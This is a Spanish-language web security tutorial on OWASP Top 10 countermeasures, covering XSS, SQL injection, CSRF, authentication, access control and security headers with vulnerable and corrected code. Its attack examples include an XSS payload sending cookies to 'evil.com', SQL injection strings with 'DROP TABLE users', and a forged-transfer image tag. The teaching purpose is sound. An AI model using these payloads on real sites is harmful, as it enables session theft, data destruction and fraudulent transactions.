Fundamentos de Seguridad Web - Contramedidas OWASP Top 10

18 min de lectura | 2025.12.03

¿Qué es OWASP Top 10?

Es un ranking de los riesgos de seguridad más críticos para aplicaciones web, publicado por OWASP (Open Web Application Security Project).

Top 10 (versión más reciente 2021):

  1. Control de Acceso Deficiente
  2. Fallas Criptográficas
  3. Inyección
  4. Diseño Inseguro
  5. Configuración de Seguridad Incorrecta
  6. Componentes Vulnerables
  7. Fallas de Autenticación
  8. Problemas de Integridad de Software y Datos
  9. Fallas de Registro y Monitoreo de Seguridad
  10. Server-Side Request Forgery (SSRF)

XSS (Cross-Site Scripting)

Es un ataque que inserta scripts maliciosos en páginas web.

Ejemplo de Ataque

<!-- Código vulnerable -->
<p>Resultados de búsqueda: <?php echo $_GET['query']; ?></p>

<!-- Ataque -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Contramedidas

// 1. Escape en la salida
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// 2. Usar escape automático del motor de plantillas
// React: Escapa por defecto
<p>Resultados de búsqueda: {userInput}</p>

// 3. Content Security Policy
// Encabezado HTTP
Content-Security-Policy: default-src 'self'; script-src 'self'

Tipos de XSS

TipoDescripción
ReflejadoParámetros de URL reflejados inmediatamente
AlmacenadoGuardado en BD, ejecutado al mostrarse
Basado en DOMOcurre en JavaScript del lado cliente

Inyección SQL

Es un ataque que inserta SQL malicioso en consultas.

Ejemplo de Ataque

-- Código vulnerable
SELECT * FROM users WHERE id = '$userId'

-- Ataque: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → Se obtienen todos los usuarios

-- Ataque más peligroso: userId = "1'; DROP TABLE users; --"

Contramedidas

// 1. Prepared Statements (Consultas Parametrizadas)
// Ejemplo incorrecto
const query = `SELECT * FROM users WHERE id = '${userId}'`;

// Ejemplo correcto
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);

// 2. Uso de ORM
// Prisma
const user = await prisma.user.findUnique({
  where: { id: userId }
});

// 3. Validación de valores de entrada
if (!Number.isInteger(parseInt(userId))) {
  throw new Error('Invalid user ID');
}

CSRF (Cross-Site Request Forgery)

Es un ataque que hace que los usuarios envíen solicitudes no deseadas.

Ejemplo de Ataque

<!-- Sitio del atacante -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- Si el usuario está logueado en bank.com, la cookie se envía y se ejecuta la transferencia -->

Contramedidas

// 1. Token CSRF
// Servidor: Generar token y guardar en sesión
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// Incrustar token en formulario
<input type="hidden" name="_csrf" value="{{csrfToken}}" />

// Verificación
if (req.body._csrf !== req.session.csrfToken) {
  throw new Error('CSRF token mismatch');
}

// 2. Cookie SameSite
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure

// 3. Verificación de encabezado personalizado (AJAX)
// Las solicitudes cross-origin no pueden enviar encabezados personalizados
X-Requested-With: XMLHttpRequest

Fallas de Autenticación

Gestión de Contraseñas Vulnerable

// Ejemplo incorrecto
const hash = md5(password);  // MD5 es vulnerable

// Ejemplo correcto
const hash = await bcrypt.hash(password, 12);

Gestión de Sesiones

// Regenerar ID de sesión después del login
req.session.regenerate((err) => {
  req.session.userId = user.id;
});

// Prevenir ataque de fijación de sesión

Autenticación Multifactor (MFA)

Primer factor: Contraseña (conocimiento)
Segundo factor: Contraseña de un solo uso (posesión)
Tercer factor: Autenticación biométrica (biometría)

Control de Acceso Deficiente

IDOR (Insecure Direct Object Reference)

// Código vulnerable
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user);  // Cualquiera puede acceder
});

// Contramedida: Verificación de autorización
app.get('/api/users/:id/profile', async (req, res) => {
  if (req.user.id !== req.params.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await db.users.findById(req.params.id);
  res.json(user);
});

Escalada de Privilegios Horizontal y Vertical

Escalada horizontal: Acceso a datos de otros usuarios
  Usuario A → Datos del Usuario B

Escalada vertical: Acceso a funciones de mayor privilegio
  Usuario normal → Funciones de administrador

Encabezados de Seguridad

# Ejemplo de configuración Nginx
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
EncabezadoPropósito
Content-Security-PolicyProtección XSS, restricción de recursos
X-Frame-OptionsPrevención de clickjacking
X-Content-Type-OptionsPrevención de MIME sniffing
Strict-Transport-SecurityForzar HTTPS
Referrer-PolicyControl de información de referrer

Validación de Valores de Entrada

// Validación del lado del servidor (obligatoria)
const schema = z.object({
  email: z.string().email(),
  age: z.number().min(0).max(150),
  username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});

const result = schema.safeParse(req.body);
if (!result.success) {
  return res.status(400).json({ errors: result.error.issues });
}

Lista de Verificación de Seguridad

□ Validar todas las entradas del lado del servidor
□ Procesar escape en la salida
□ Usar consultas parametrizadas
□ Implementar token CSRF
□ Hash adecuado de contraseñas
□ Forzar HTTPS
□ Configurar encabezados de seguridad
□ Implementar verificación de autorización
□ No filtrar información sensible en mensajes de error
□ Verificar vulnerabilidades de paquetes dependientes
□ Registrar logs de seguridad

Resumen

La seguridad web es un elemento importante que debe considerarse desde las primeras etapas del desarrollo. Tomando como referencia el OWASP Top 10, comprendamos las principales vulnerabilidades y contramedidas para construir aplicaciones seguras. La seguridad no termina una vez configurada, sino que requiere monitoreo y actualización continuos.

← Volver a la lista